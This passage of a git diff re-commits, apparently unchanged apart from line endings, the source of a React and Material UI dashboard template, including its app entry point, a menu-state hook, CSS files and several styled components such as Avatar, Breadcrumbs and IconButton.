NOT move them to `sx` diff --git a/src/App.jsx b/src/App.jsx index 7b1e4ad91..71ba6a96d 100644 --- a/src/App.jsx +++ b/src/App.jsx @@ -1,19 +1,19 @@ -import { RouterProvider } from 'react-router-dom'; - -// project imports -import router from 'routes'; -import ThemeCustomization from 'themes'; - -import ScrollTop from 'components/ScrollTop'; - -// ==============================|| APP - THEME, ROUTER, LOCAL ||============================== // - -export default function App() { - return ( - <ThemeCustomization> - <ScrollTop> - <RouterProvider router={router} /> - </ScrollTop> - </ThemeCustomization> - ); -} +import { RouterProvider } from 'react-router-dom'; + +// project imports +import router from 'routes'; +import ThemeCustomization from 'themes'; + +import ScrollTop from 'components/ScrollTop'; + +// ==============================|| APP - THEME, ROUTER, LOCAL ||============================== // + +export default function App() { + return ( + <ThemeCustomization> + <ScrollTop> + <RouterProvider router={router} /> + </ScrollTop> + </ThemeCustomization> + ); +} diff --git a/src/api/menu.js b/src/api/menu.js index b4ec6cab4..8090ca41f 100644 --- a/src/api/menu.js +++ b/src/api/menu.js @@ -1,42 +1,42 @@ -import useSWR, { mutate } from 'swr'; -import { useMemo } from 'react'; - -const initialState = { - isDashboardDrawerOpened: false -}; - -const endpoints = { - key: 'api/menu', - master: 'master', - dashboard: '/dashboard' // server URL -}; - -export function useGetMenuMaster() { - const { data, isLoading } = useSWR(endpoints.key + endpoints.master, () => initialState, { - revalidateIfStale: false, - revalidateOnFocus: false, - revalidateOnReconnect: false - }); - - const memoizedValue = useMemo( - () => ({ - menuMaster: data, - menuMasterLoading: isLoading - }), - [data, isLoading] - ); - - return memoizedValue; -} - -export function handlerDrawerOpen(isDashboardDrawerOpened) { - // to update local state based on key - - mutate( - endpoints.key + endpoints.master, - (currentMenuMaster) => { - return { ...currentMenuMaster, isDashboardDrawerOpened }; - }, - false - ); -} +import useSWR, { mutate } from 'swr'; +import { useMemo } from 'react'; + +const initialState = { + isDashboardDrawerOpened: false +}; + +const endpoints = { + key: 'api/menu', + master: 'master', + dashboard: '/dashboard' // server URL +}; + +export function useGetMenuMaster() { + const { data, isLoading } = useSWR(endpoints.key + endpoints.master, () => initialState, { + revalidateIfStale: false, + revalidateOnFocus: false, + revalidateOnReconnect: false + }); + + const memoizedValue = useMemo( + () => ({ + menuMaster: data, + menuMasterLoading: isLoading + }), + [data, isLoading] + ); + + return memoizedValue; +} + +export function handlerDrawerOpen(isDashboardDrawerOpened) { + // to update local state based on key + + mutate( + endpoints.key + endpoints.master, + (currentMenuMaster) => { + return { ...currentMenuMaster, isDashboardDrawerOpened }; + }, + false + ); +} diff --git a/src/assets/style.css b/src/assets/style.css index c90a932c6..5f889d241 100644 --- a/src/assets/style.css +++ b/src/assets/style.css @@ -1,3 +1,3 @@ -* { - -webkit-tap-highlight-color: transparent; -} +* { + -webkit-tap-highlight-color: transparent; +} diff --git a/src/assets/third-party/apex-chart.css b/src/assets/third-party/apex-chart.css index 5b9c6651a..db82bcf58 100644 --- a/src/assets/third-party/apex-chart.css +++ b/src/assets/third-party/apex-chart.css @@ -1,8 +1,8 @@ -.apexcharts-legend-series { - gap: 8px; -} - -.apexcharts-tooltip-series-group.apexcharts-active, -.apexcharts-tooltip-series-group:last-child { - padding-bottom: 0 !important; -} +.apexcharts-legend-series { + gap: 8px; +} + +.apexcharts-tooltip-series-group.apexcharts-active, +.apexcharts-tooltip-series-group:last-child { + padding-bottom: 0 !important; +} diff --git a/src/assets/third-party/react-table.css b/src/assets/third-party/react-table.css index eb1220680..f24d8abc4 100644 --- a/src/assets/third-party/react-table.css +++ b/src/assets/third-party/react-table.css @@ -1,35 +1,35 @@ -.cursor-pointer { - cursor: pointer; -} - -.prevent-select { - -webkit-user-select: none; /* Safari */ - -ms-user-select: none; /* IE 10 and IE 11 */ - user-select: none; /* Standard syntax */ -} - -.sticky-header { - margin: 0; - position: sticky; - top: -1px; - z-index: 1; -} - -.resizer { - position: absolute; - right: 0; - top: 0; - height: 100%; - width: 5px; - cursor: col-resize; - user-select: none; - touch-action: none; -} - -.resizer.isResizing { - opacity: 1; -} - -.MuiTableContainer-root { - border-radius: 0px !important; -} +.cursor-pointer { + cursor: pointer; +} + +.prevent-select { + -webkit-user-select: none; /* Safari */ + -ms-user-select: none; /* IE 10 and IE 11 */ + user-select: none; /* Standard syntax */ +} + +.sticky-header { + margin: 0; + position: sticky; + top: -1px; + z-index: 1; +} + +.resizer { + position: absolute; + right: 0; + top: 0; + height: 100%; + width: 5px; + cursor: col-resize; + user-select: none; + touch-action: none; +} + +.resizer.isResizing { + opacity: 1; +} + +.MuiTableContainer-root { + border-radius: 0px !important; +} diff --git a/src/components/@extended/AnimateButton.jsx b/src/components/@extended/AnimateButton.jsx index 2675b2baf..8bbf05495 100644 --- a/src/components/@extended/AnimateButton.jsx +++ b/src/components/@extended/AnimateButton.jsx @@ -1,77 +1,77 @@ -import PropTypes from 'prop-types'; - -// third-party -import { motion, useCycle } from 'framer-motion'; - -export default function AnimateButton({ children, type = 'scale', direction = 'right', offset = 10, scale = { hover: 1.05, tap: 0.954 } }) { - let offset1; - let offset2; - switch (direction) { - case 'up': - case 'left': - offset1 = offset; - offset2 = 0; - break; - case 'right': - case 'down': - default: - offset1 = 0; - offset2 = offset; - break; - } - - const [x, cycleX] = useCycle(offset1, offset2); - const [y, cycleY] = useCycle(offset1, offset2); - - switch (type) { - case 'rotate': - return ( - <motion.div - animate={{ rotate: 360 }} - transition={{ - repeat: Infinity, - repeatType: 'loop', - duration: 2, - repeatDelay: 0 - }} - > - {children} - </motion.div> - ); - case 'slide': - if (direction === 'up' || direction === 'down') { - return ( - <motion.div animate={{ y: y !== undefined ? y : '' }} onHoverEnd={() => cycleY()} onHoverStart={() => cycleY()}> - {children} - </motion.div> - ); - } - return ( - <motion.div animate={{ x: x !== undefined ? x : '' }} onHoverEnd={() => cycleX()} onHoverStart={() => cycleX()}> - {children} - </motion.div> - ); - - case 'scale': - default: - if (typeof scale === 'number') { - scale = { - hover: scale, - tap: scale - }; - } - return ( - <motion.div whileHover={{ scale: scale?.hover }} whileTap={{ scale: scale?.tap }}> - {children} - </motion.div> - ); - } -} - -AnimateButton.propTypes = { - children: PropTypes.node, - type: PropTypes.oneOf(['slide', 'scale', 'rotate']), - direction: PropTypes.oneOf(['up', 'down', 'left', 'right']), - offset: PropTypes.number, - scale: PropTypes.object -}; +import PropTypes from 'prop-types'; + +// third-party +import { motion, useCycle } from 'framer-motion'; + +export default function AnimateButton({ children, type = 'scale', direction = 'right', offset = 10, scale = { hover: 1.05, tap: 0.954 } }) { + let offset1; + let offset2; + switch (direction) { + case 'up': + case 'left': + offset1 = offset; + offset2 = 0; + break; + case 'right': + case 'down': + default: + offset1 = 0; + offset2 = offset; + break; + } + + const [x, cycleX] = useCycle(offset1, offset2); + const [y, cycleY] = useCycle(offset1, offset2); + + switch (type) { + case 'rotate': + return ( + <motion.div + animate={{ rotate: 360 }} + transition={{ + repeat: Infinity, + repeatType: 'loop', + duration: 2, + repeatDelay: 0 + }} + > + {children} + </motion.div> + ); + case 'slide': + if (direction === 'up' || direction === 'down') { + return ( + <motion.div animate={{ y: y !== undefined ? y : '' }} onHoverEnd={() => cycleY()} onHoverStart={() => cycleY()}> + {children} + </motion.div> + ); + } + return ( + <motion.div animate={{ x: x !== undefined ? x : '' }} onHoverEnd={() => cycleX()} onHoverStart={() => cycleX()}> + {children} + </motion.div> + ); + + case 'scale': + default: + if (typeof scale === 'number') { + scale = { + hover: scale, + tap: scale + }; + } + return ( + <motion.div whileHover={{ scale: scale?.hover }} whileTap={{ scale: scale?.tap }}> + {children} + </motion.div> + ); + } +} + +AnimateButton.propTypes = { + children: PropTypes.node, + type: PropTypes.oneOf(['slide', 'scale', 'rotate']), + direction: PropTypes.oneOf(['up', 'down', 'left', 'right']), + offset: PropTypes.number, + scale: PropTypes.object +}; diff --git a/src/components/@extended/Avatar.jsx b/src/components/@extended/Avatar.jsx index bcc9549be..0b9705511 100644 --- a/src/components/@extended/Avatar.jsx +++ b/src/components/@extended/Avatar.jsx @@ -1,118 +1,118 @@ -import PropTypes from 'prop-types'; - -// material-ui -import { styled } from '@mui/material/styles'; -import MuiAvatar from '@mui/material/Avatar'; - -// project imports -import getColors from 'utils/getColors'; - -function getColorStyle({ theme, color, type }) { - const colors = getColors(theme, color); - const { lighter, light, main, contrastText } = colors; - - switch (type) { - case 'filled': - return { - color: contrastText, - background: main - }; - case 'outlined': - return { - color: main, - border: '1px solid', - borderColor: main, - background: 'transparent' - }; - case 'combined': - return { - color: main, - border: '1px solid', - borderColor: light, - background: lighter - }; - default: - return { - color: main, - background: lighter - }; - } -} - -// ==============================|| AVATAR - SIZE STYLE ||============================== // - -function getSizeStyle(size) { - switch (size) { - case 'badge': - return { - border: '2px solid', - fontSize: '0.675rem', - width: 20, - height: 20 - }; - case 'xs': - return { - fontSize: '0.75rem', - width: 24, - height: 24 - }; - case 'sm': - return { - fontSize: '0.875rem', - width: 32, - height: 32 - }; - case 'lg': - return { - fontSize: '1.2rem', - width: 52, - height: 52 - }; - case 'xl': - return { - fontSize: '1.5rem', - width: 64, - height: 64 - }; - case 'md': - default: - return { - fontSize: '1rem', - width: 40, - height: 40 - }; - } -} - -const AvatarStyle = styled(MuiAvatar, { shouldForwardProp: (prop) => prop !== 'color' && prop !== 'type' && prop !== 'size' })( - ({ theme, size, color, type }) => ({ - ...getSizeStyle(size), - ...getColorStyle({ theme, color, type }), - variants: [ - { - props: { size: 'badge' }, - style: { - borderColor: theme.vars.palette.background.default - } - } - ] - }) -); - -export default function Avatar({ children, color = 'primary', type, size = 'md', ...others }) { - return ( - <AvatarStyle color={color} type={type} size={size} {...others}> - {children} - </AvatarStyle> - ); -} - -getColorStyle.propTypes = { theme: PropTypes.any, color: PropTypes.any, type: PropTypes.any }; - -Avatar.propTypes = { - children: PropTypes.oneOfType([PropTypes.string, PropTypes.node]), - color: PropTypes.string, - type: PropTypes.any, - size: PropTypes.string, - others: PropTypes.any -}; +import PropTypes from 'prop-types'; + +// material-ui +import { styled } from '@mui/material/styles'; +import MuiAvatar from '@mui/material/Avatar'; + +// project imports +import getColors from 'utils/getColors'; + +function getColorStyle({ theme, color, type }) { + const colors = getColors(theme, color); + const { lighter, light, main, contrastText } = colors; + + switch (type) { + case 'filled': + return { + color: contrastText, + background: main + }; + case 'outlined': + return { + color: main, + border: '1px solid', + borderColor: main, + background: 'transparent' + }; + case 'combined': + return { + color: main, + border: '1px solid', + borderColor: light, + background: lighter + }; + default: + return { + color: main, + background: lighter + }; + } +} + +// ==============================|| AVATAR - SIZE STYLE ||============================== // + +function getSizeStyle(size) { + switch (size) { + case 'badge': + return { + border: '2px solid', + fontSize: '0.675rem', + width: 20, + height: 20 + }; + case 'xs': + return { + fontSize: '0.75rem', + width: 24, + height: 24 + }; + case 'sm': + return { + fontSize: '0.875rem', + width: 32, + height: 32 + }; + case 'lg': + return { + fontSize: '1.2rem', + width: 52, + height: 52 + }; + case 'xl': + return { + fontSize: '1.5rem', + width: 64, + height: 64 + }; + case 'md': + default: + return { + fontSize: '1rem', + width: 40, + height: 40 + }; + } +} + +const AvatarStyle = styled(MuiAvatar, { shouldForwardProp: (prop) => prop !== 'color' && prop !== 'type' && prop !== 'size' })( + ({ theme, size, color, type }) => ({ + ...getSizeStyle(size), + ...getColorStyle({ theme, color, type }), + variants: [ + { + props: { size: 'badge' }, + style: { + borderColor: theme.vars.palette.background.default + } + } + ] + }) +); + +export default function Avatar({ children, color = 'primary', type, size = 'md', ...others }) { + return ( + <AvatarStyle color={color} type={type} size={size} {...others}> + {children} + </AvatarStyle> + ); +} + +getColorStyle.propTypes = { theme: PropTypes.any, color: PropTypes.any, type: PropTypes.any }; + +Avatar.propTypes = { + children: PropTypes.oneOfType([PropTypes.string, PropTypes.node]), + color: PropTypes.string, + type: PropTypes.any, + size: PropTypes.string, + others: PropTypes.any +}; diff --git a/src/components/@extended/Breadcrumbs.jsx b/src/components/@extended/Breadcrumbs.jsx index 4598b9086..87e48c2f6 100644 --- a/src/components/@extended/Breadcrumbs.jsx +++ b/src/components/@extended/Breadcrumbs.jsx @@ -1,255 +1,255 @@ -import PropTypes from 'prop-types'; -import { useEffect, useState } from 'react'; -import { Link, useLocation } from 'react-router-dom'; - -// material-ui -import { useTheme } from '@mui/material/styles'; -import Divider from '@mui/material/Divider'; -import Grid from '@mui/material/Grid'; -import Typography from '@mui/material/Typography'; -import MuiBreadcrumbs from '@mui/material/Breadcrumbs'; - -// project imports -import MainCard from 'components/MainCard'; -import navigation from 'menu-items'; - -// assets -import ApartmentOutlined from '@ant-design/icons/ApartmentOutlined'; -import HomeOutlined from '@ant-design/icons/HomeOutlined'; -import HomeFilled from '@ant-design/icons/HomeFilled'; - -export default function Breadcrumbs({ - card = false, - custom = false, - divider = false, - heading, - icon, - icons, - links, - maxItems, - rightAlign, - separator, - title = true, - titleBottom = true, - sx, - ...others -}) { - const theme = useTheme(); - const location = useLocation(); - - const [main, setMain] = useState(); - const [item, setItem] = useState(); - - const iconSX = { - marginRight: theme.spacing(0.75), - marginLeft: 0, - width: '1rem', - height: '1rem', - color: theme.vars.palette.secondary.main - }; - - let customLocation = location.pathname; - - // only used for component demo breadcrumbs - if (customLocation.includes('/components-overview/breadcrumbs')) { - customLocation = '/apps/customer/customer-card'; - } - - useEffect(() => { - navigation?.items?.map((menu) => { - if (menu.type && menu.type === 'group') { - if (menu?.url && menu.url === customLocation) { - setMain(menu); - setItem(menu); - } else { - getCollapse(menu); - } - } - return false; - }); - }); - - // set active item state - const getCollapse = (menu) => { - if (!custom && menu.children) { - menu.children.filter((collapse) => { - if (collapse.type && collapse.type === 'collapse') { - getCollapse(collapse); - if (collapse.url === customLocation) { - setMain(collapse); - setItem(collapse); - } - } else if (collapse.type && collapse.type === 'item') { - if (customLocation === collapse.url) { - setMain(menu); - setItem(collapse); - } - } - return false; - }); - } - }; - - // item separator - const SeparatorIcon = separator; - const separatorIcon = separator ? <SeparatorIcon style={{ fontSize: '0.75rem', marginTop: 2 }} /> : '/'; - - let mainContent; - let itemContent; - let breadcrumbContent = <Typography />; - let itemTitle = ''; - let CollapseIcon; - let ItemIcon; - - // collapse item - if (main && main.type === 'collapse' && !main.breadcrumbs) { - CollapseIcon = main.icon ? main.icon : ApartmentOutlined; - mainContent = ( - <Typography - {...(main.url && { component: Link, to: main.url })} - variant={window.location.pathname === main.url ? 'subtitle1' : 'h6'} - sx={{ textDecoration: 'none' }} - color={window.location.pathname === main.url ? 'text.primary' : 'text.secondary'} - > - {icons && <CollapseIcon style={iconSX} />} - {main?.title} - </Typography> - ); - - if (!!custom) { - breadcrumbContent = ( - <MainCard - border={card} - sx={card === false ? { mb: 3, bgcolor: 'inherit', backgroundImage: 'none', ...sx } : { mb: 3, ...sx }} - {...others} - content={card} - shadow="none" - > - <Grid - container - direction={rightAlign ? 'row' : 'column'} - spacing={1} - sx={{ justifyContent: rightAlign ? 'space-between' : 'flex-start', alignItems: rightAlign ? 'center' : 'flex-start' }} - > - <Grid> - <MuiBreadcrumbs aria-label="breadcrumb" maxItems={maxItems || 8} separator={separatorIcon}> - <Typography component={Link} to="/" color="text.secondary" variant="h6" sx={{ textDecoration: 'none' }}> - {icons && <HomeOutlined style={iconSX} />} - {icon && !icons && <HomeFilled style={{ ...iconSX, marginRight: 0 }} />} - {(!icon || icons) && 'Home'} - </Typography> - {mainContent} - </MuiBreadcrumbs> - </Grid> - {title && titleBottom && ( - <Grid sx={{ mt: card === false ? 0.25 : 1 }}> - <Typography variant="h2">{main.title}</Typography> - </Grid> - )} - </Grid> - {card === false && divider !== false && <Divider sx={{ mt: 2 }} />} - </MainCard> - ); - } - } - - // items - if ((item && item.type === 'item') || (item?.type === 'group' && item?.url) || custom) { - itemTitle = item?.title; - - ItemIcon = item?.icon ? item.icon : ApartmentOutlined; - itemContent = ( - <Typography variant="subtitle1" color="text.primary"> - {icons && <ItemIcon style={iconSX} />} - {itemTitle} - </Typography> - ); - - let tempContent = ( - <MuiBreadcrumbs aria-label="breadcrumb" maxItems={maxItems || 8} separator={separatorIcon}> - <Typography component={Link} to="/" color="text.secondary" variant="h6" sx={{ textDecoration: 'none' }}> - {icons && <HomeOutlined style={iconSX} />} - {icon && !icons && <HomeFilled style={{ ...iconSX, marginRight: 0 }} />} - {(!icon || icons) && 'Home'} - </Typography> - {mainContent} - {itemContent} - </MuiBreadcrumbs> - ); - - if (custom && links && links?.length > 0) { - tempContent = ( - <MuiBreadcrumbs aria-label="breadcrumb" maxItems={maxItems || 8} separator={separatorIcon}> - {links?.map((link, index) => { - CollapseIcon = link.icon ? link.icon : ApartmentOutlined; - - return ( - <Typography - key={index} - {...(link.to && { component: Link, to: link.to })} - variant={!link.to ? 'subtitle1' : 'h6'} - sx={{ textDecoration: 'none' }} - color={!link.to ? 'text.primary' : 'text.secondary'} - > - {link.icon && <CollapseIcon style={iconSX} />} - {link.title} - </Typography> - ); - })} - </MuiBreadcrumbs> - ); - } - - // main - if (item?.breadcrumbs !== false || custom) { - breadcrumbContent = ( - <MainCard - border={card} - sx={card === false ? { mb: 3, bgcolor: 'inherit', backgroundImage: 'none', ...sx } : { mb: 3, ...sx }} - {...others} - content={card} - shadow="none" - > - <Grid - container - direction={rightAlign ? 'row' : 'column'} - spacing={1} - sx={{ justifyContent: rightAlign ? 'space-between' : 'flex-start', alignItems: rightAlign ? 'center' : 'flex-start' }} - > - {title && !titleBottom && ( - <Grid> - <Typography variant="h2">{custom ? heading : item?.title}</Typography> - </Grid> - )} - <Grid>{tempContent}</Grid> - {title && titleBottom && ( - <Grid sx={{ mt: card === false ? 0.25 : 1 }}> - <Typography variant="h2">{custom ? heading : item?.title}</Typography> - </Grid> - )} - </Grid> - {card === false && divider !== false && <Divider sx={{ mt: 2 }} />} - </MainCard> - ); - } - } - - return breadcrumbContent; -} - -Breadcrumbs.propTypes = { - card: PropTypes.bool, - custom: PropTypes.bool, - divider: PropTypes.bool, - heading: PropTypes.string, - icon: PropTypes.bool, - icons: PropTypes.bool, - links: PropTypes.array, - maxItems: PropTypes.number, - rightAlign: PropTypes.bool, - separator: PropTypes.any, - title: PropTypes.bool, - titleBottom: PropTypes.bool, - sx: PropTypes.any, - others: PropTypes.any -}; +import PropTypes from 'prop-types'; +import { useEffect, useState } from 'react'; +import { Link, useLocation } from 'react-router-dom'; + +// material-ui +import { useTheme } from '@mui/material/styles'; +import Divider from '@mui/material/Divider'; +import Grid from '@mui/material/Grid'; +import Typography from '@mui/material/Typography'; +import MuiBreadcrumbs from '@mui/material/Breadcrumbs'; + +// project imports +import MainCard from 'components/MainCard'; +import navigation from 'menu-items'; + +// assets +import ApartmentOutlined from '@ant-design/icons/ApartmentOutlined'; +import HomeOutlined from '@ant-design/icons/HomeOutlined'; +import HomeFilled from '@ant-design/icons/HomeFilled'; + +export default function Breadcrumbs({ + card = false, + custom = false, + divider = false, + heading, + icon, + icons, + links, + maxItems, + rightAlign, + separator, + title = true, + titleBottom = true, + sx, + ...others +}) { + const theme = useTheme(); + const location = useLocation(); + + const [main, setMain] = useState(); + const [item, setItem] = useState(); + + const iconSX = { + marginRight: theme.spacing(0.75), + marginLeft: 0, + width: '1rem', + height: '1rem', + color: theme.vars.palette.secondary.main + }; + + let customLocation = location.pathname; + + // only used for component demo breadcrumbs + if (customLocation.includes('/components-overview/breadcrumbs')) { + customLocation = '/apps/customer/customer-card'; + } + + useEffect(() => { + navigation?.items?.map((menu) => { + if (menu.type && menu.type === 'group') { + if (menu?.url && menu.url === customLocation) { + setMain(menu); + setItem(menu); + } else { + getCollapse(menu); + } + } + return false; + }); + }); + + // set active item state + const getCollapse = (menu) => { + if (!custom && menu.children) { + menu.children.filter((collapse) => { + if (collapse.type && collapse.type === 'collapse') { + getCollapse(collapse); + if (collapse.url === customLocation) { + setMain(collapse); + setItem(collapse); + } + } else if (collapse.type && collapse.type === 'item') { + if (customLocation === collapse.url) { + setMain(menu); + setItem(collapse); + } + } + return false; + }); + } + }; + + // item separator + const SeparatorIcon = separator; + const separatorIcon = separator ? <SeparatorIcon style={{ fontSize: '0.75rem', marginTop: 2 }} /> : '/'; + + let mainContent; + let itemContent; + let breadcrumbContent = <Typography />; + let itemTitle = ''; + let CollapseIcon; + let ItemIcon; + + // collapse item + if (main && main.type === 'collapse' && !main.breadcrumbs) { + CollapseIcon = main.icon ? main.icon : ApartmentOutlined; + mainContent = ( + <Typography + {...(main.url && { component: Link, to: main.url })} + variant={window.location.pathname === main.url ? 'subtitle1' : 'h6'} + sx={{ textDecoration: 'none' }} + color={window.location.pathname === main.url ? 'text.primary' : 'text.secondary'} + > + {icons && <CollapseIcon style={iconSX} />} + {main?.title} + </Typography> + ); + + if (!!custom) { + breadcrumbContent = ( + <MainCard + border={card} + sx={card === false ? { mb: 3, bgcolor: 'inherit', backgroundImage: 'none', ...sx } : { mb: 3, ...sx }} + {...others} + content={card} + shadow="none" + > + <Grid + container + direction={rightAlign ? 'row' : 'column'} + spacing={1} + sx={{ justifyContent: rightAlign ? 'space-between' : 'flex-start', alignItems: rightAlign ? 'center' : 'flex-start' }} + > + <Grid> + <MuiBreadcrumbs aria-label="breadcrumb" maxItems={maxItems || 8} separator={separatorIcon}> + <Typography component={Link} to="/" color="text.secondary" variant="h6" sx={{ textDecoration: 'none' }}> + {icons && <HomeOutlined style={iconSX} />} + {icon && !icons && <HomeFilled style={{ ...iconSX, marginRight: 0 }} />} + {(!icon || icons) && 'Home'} + </Typography> + {mainContent} + </MuiBreadcrumbs> + </Grid> + {title && titleBottom && ( + <Grid sx={{ mt: card === false ? 0.25 : 1 }}> + <Typography variant="h2">{main.title}</Typography> + </Grid> + )} + </Grid> + {card === false && divider !== false && <Divider sx={{ mt: 2 }} />} + </MainCard> + ); + } + } + + // items + if ((item && item.type === 'item') || (item?.type === 'group' && item?.url) || custom) { + itemTitle = item?.title; + + ItemIcon = item?.icon ? item.icon : ApartmentOutlined; + itemContent = ( + <Typography variant="subtitle1" color="text.primary"> + {icons && <ItemIcon style={iconSX} />} + {itemTitle} + </Typography> + ); + + let tempContent = ( + <MuiBreadcrumbs aria-label="breadcrumb" maxItems={maxItems || 8} separator={separatorIcon}> + <Typography component={Link} to="/" color="text.secondary" variant="h6" sx={{ textDecoration: 'none' }}> + {icons && <HomeOutlined style={iconSX} />} + {icon && !icons && <HomeFilled style={{ ...iconSX, marginRight: 0 }} />} + {(!icon || icons) && 'Home'} + </Typography> + {mainContent} + {itemContent} + </MuiBreadcrumbs> + ); + + if (custom && links && links?.length > 0) { + tempContent = ( + <MuiBreadcrumbs aria-label="breadcrumb" maxItems={maxItems || 8} separator={separatorIcon}> + {links?.map((link, index) => { + CollapseIcon = link.icon ? link.icon : ApartmentOutlined; + + return ( + <Typography + key={index} + {...(link.to && { component: Link, to: link.to })} + variant={!link.to ? 'subtitle1' : 'h6'} + sx={{ textDecoration: 'none' }} + color={!link.to ? 'text.primary' : 'text.secondary'} + > + {link.icon && <CollapseIcon style={iconSX} />} + {link.title} + </Typography> + ); + })} + </MuiBreadcrumbs> + ); + } + + // main + if (item?.breadcrumbs !== false || custom) { + breadcrumbContent = ( + <MainCard + border={card} + sx={card === false ? { mb: 3, bgcolor: 'inherit', backgroundImage: 'none', ...sx } : { mb: 3, ...sx }} + {...others} + content={card} + shadow="none" + > + <Grid + container + direction={rightAlign ? 'row' : 'column'} + spacing={1} + sx={{ justifyContent: rightAlign ? 'space-between' : 'flex-start', alignItems: rightAlign ? 'center' : 'flex-start' }} + > + {title && !titleBottom && ( + <Grid> + <Typography variant="h2">{custom ? heading : item?.title}</Typography> + </Grid> + )} + <Grid>{tempContent}</Grid> + {title && titleBottom && ( + <Grid sx={{ mt: card === false ? 0.25 : 1 }}> + <Typography variant="h2">{custom ? heading : item?.title}</Typography> + </Grid> + )} + </Grid> + {card === false && divider !== false && <Divider sx={{ mt: 2 }} />} + </MainCard> + ); + } + } + + return breadcrumbContent; +} + +Breadcrumbs.propTypes = { + card: PropTypes.bool, + custom: PropTypes.bool, + divider: PropTypes.bool, + heading: PropTypes.string, + icon: PropTypes.bool, + icons: PropTypes.bool, + links: PropTypes.array, + maxItems: PropTypes.number, + rightAlign: PropTypes.bool, + separator: PropTypes.any, + title: PropTypes.bool, + titleBottom: PropTypes.bool, + sx: PropTypes.any, + others: PropTypes.any +}; diff --git a/src/components/@extended/Dot.jsx b/src/components/@extended/Dot.jsx index 93503cb58..33b870838 100644 --- a/src/components/@extended/Dot.jsx +++ b/src/components/@extended/Dot.jsx @@ -1,28 +1,28 @@ -import PropTypes from 'prop-types'; -// material-ui -import { useTheme } from '@mui/material/styles'; -import Box from '@mui/material/Box'; - -// project imports -import getColors from 'utils/getColors'; - -export default function Dot({ color, size, variant, sx, ...rest }) { - const theme = useTheme(); - const colors = getColors(theme, color || 'primary'); - const { main } = colors; - - return ( - <Box - {...rest} - sx={{ - width: size || 8, - height: size || 8, - borderRadius: '50%', - ...(variant === 'outlined' ? { border: `1px solid ${main}` } : { bgcolor: main }), - ...sx - }} - /> - ); -} - -Dot.propTypes = { color: PropTypes.any, size: PropTypes.number, variant: PropTypes.string, sx: PropTypes.any, rest: PropTypes.any }; +import PropTypes from 'prop-types'; +// material-ui +import { useTheme } from '@mui/material/styles'; +import Box from '@mui/material/Box'; + +// project imports +import getColors from 'utils/getColors'; + +export default function Dot({ color, size, variant, sx, ...rest }) { + const theme = useTheme(); + const colors = getColors(theme, color || 'primary'); + const { main } = colors; + + return ( + <Box + {...rest} + sx={{ + width: size || 8, + height: size || 8, + borderRadius: '50%', + ...(variant === 'outlined' ? { border: `1px solid ${main}` } : { bgcolor: main }), + ...sx + }} + /> + ); +} + +Dot.propTypes = { color: PropTypes.any, size: PropTypes.number, variant: PropTypes.string, sx: PropTypes.any, rest: PropTypes.any }; diff --git a/src/components/@extended/IconButton.jsx b/src/components/@extended/IconButton.jsx index f63dbd5f5..44b3509cd 100644 --- a/src/components/@extended/IconButton.jsx +++ b/src/components/@extended/IconButton.jsx @@ -1,180 +1,180 @@ -import PropTypes from 'prop-types'; - -// material-ui -import MuiIconButton from '@mui/material/IconButton'; -import { styled } from '@mui/material/styles'; - -// project imports -import getColors from 'utils/getColors'; -import getShadow from 'utils/getShadow'; -import { withAlpha } from 'utils/colorUtils'; - -function getColorStyle({ variant, theme, color }) { - const colors = getColors(theme, color); - const { lighter, light, dark, main, contrastText } = colors; - - const buttonShadow = `${color}Button`; - const shadows = getShadow(theme, buttonShadow); - - const commonShadow = { - '&::after': { - boxShadow: `0 0 6px 6px ${withAlpha(main, 0.9)}` - }, - '&:active::after': { - boxShadow: `0 0 0 0 ${withAlpha(main, 0.9)}` - }, - '&:focus-visible': { - outline: `2px solid ${dark}`, - outlineOffset: 2 - } - }; - - switch (variant) { - case 'contained': - return { - color: contrastText, - background: main, - '&:hover': { - background: dark - }, - ...commonShadow - }; - case 'light': - return { - color: main, - background: lighter, - '&:hover': { - background: withAlpha(light, 0.5) - }, - ...commonShadow - }; - case 'shadow': - return { - boxShadow: shadows, - color: contrastText, - background: main, - '&:hover': { - boxShadow: 'none', - background: dark - }, - ...commonShadow - }; - case 'outlined': - return { - '&:hover': { - background: 'transparent', - color: dark, - borderColor: dark - }, - ...commonShadow - }; - case 'dashed': - return { - background: lighter, - '&:hover': { - color: dark, - borderColor: dark - }, - ...commonShadow - }; - case 'text': - default: - return { - '&:hover': { - color: dark, - background: color === 'secondary' ? withAlpha(light, 0.1) : lighter - }, - ...commonShadow - }; - } -} - -const IconButtonStyle = styled(MuiIconButton, { shouldForwardProp: (prop) => prop !== 'variant' && prop !== 'shape' })( - ({ theme, color, variant }) => ({ - position: 'relative', - '::after': { - content: '""', - display: 'block', - position: 'absolute', - left: 0, - top: 0, - width: '100%', - height: '100%', - borderRadius: 4, - opacity: 0, - transition: 'all 0.5s' - }, - - ':active::after': { - position: 'absolute', - borderRadius: 4, - left: 0, - top: 0, - opacity: 1, - transition: '0s' - }, - - ...getColorStyle({ variant, theme, color }), - - variants: [ - { - props: { shape: 'rounded' }, - style: { - borderRadius: '50%', - '::after': { borderRadius: '50%' }, - ':active::after': { borderRadius: '50%' } - } - }, - { - props: { variant: 'outlined' }, - style: { - border: '1px solid', - borderColor: 'inherit' - } - }, - { - props: { variant: 'dashed' }, - style: { - border: '1px dashed', - borderColor: 'inherit' - } - }, - { - props: ({ variant }) => variant !== 'text', - style: { - '&.Mui-disabled': { - background: theme.vars.palette.grey[200], - '&:hover': { - background: theme.vars.palette.grey[200], - color: theme.vars.palette.grey[300], - borderColor: 'inherit' - } - } - } - } - ] - }) -); - -function IconButton({ variant = 'text', shape = 'square', children, color = 'primary', ref, ...others }) { - return ( - <IconButtonStyle ref={ref} disableRipple variant={variant} shape={shape} color={color} {...others}> - {children} - </IconButtonStyle> - ); -} - -IconButton.displayName = 'IconButton'; - -export default IconButton; - -getColorStyle.propTypes = { variant: PropTypes.any, theme: PropTypes.any, color: PropTypes.any }; - -IconButton.propTypes = { - variant: PropTypes.string, - shape: PropTypes.string, - children: PropTypes.node, - color: PropTypes.string, - ref: PropTypes.any, - others: PropTypes.any -}; +import PropTypes from 'prop-types'; + +// material-ui +import MuiIconButton from '@mui/material/IconButton'; +import { styled } from '@mui/material/styles'; + +// project imports +import getColors from 'utils/getColors'; +import getShadow from 'utils/getShadow'; +import { withAlpha } from 'utils/colorUtils'; + +function getColorStyle({ variant, theme, color }) { + const colors = getColors(theme, color); + const { lighter, light, dark, main, contrastText } = colors; + + const buttonShadow = `${color}Button`; + const shadows = getShadow(theme, buttonShadow); + + const commonShadow = { + '&::after': { + boxShadow: `0 0 6px 6px ${withAlpha(main, 0.9)}` + }, + '&:active::after': 